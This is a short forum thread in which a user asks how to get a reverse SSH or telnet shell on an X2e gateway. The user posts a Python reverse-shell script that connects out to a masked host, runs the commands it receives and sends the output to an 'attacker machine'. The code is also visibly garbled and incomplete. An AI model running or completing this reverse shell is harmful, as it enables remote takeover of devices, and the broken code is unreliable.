Reverse telnet/ssh Gateway X2e

I’m looking for information about reverse ssh or telnet.

import socket,subprocess

HOST = 'XXXXXXXXXX' # The remote host
PORT = 443 # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# connect to attacker machine
s.connect((HOST, PORT))
# send we are connected
s.send('[li] Connection Established!')[/li]# start loop
while 1:
# recieve shell command
data = s.recv(1024)
# if its quit, then break out and close socket
if data == "quit": break
# do shell command
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
# read output
stdout_value = +
# send output to attacker
# close socket

This code seems to don’t work on X2e ?
Someone, use a solution to have some shell on gateway ?
Best regards.

I am not expert in python but I think this link could help you this is for SSH

Click here


Thanks a lot !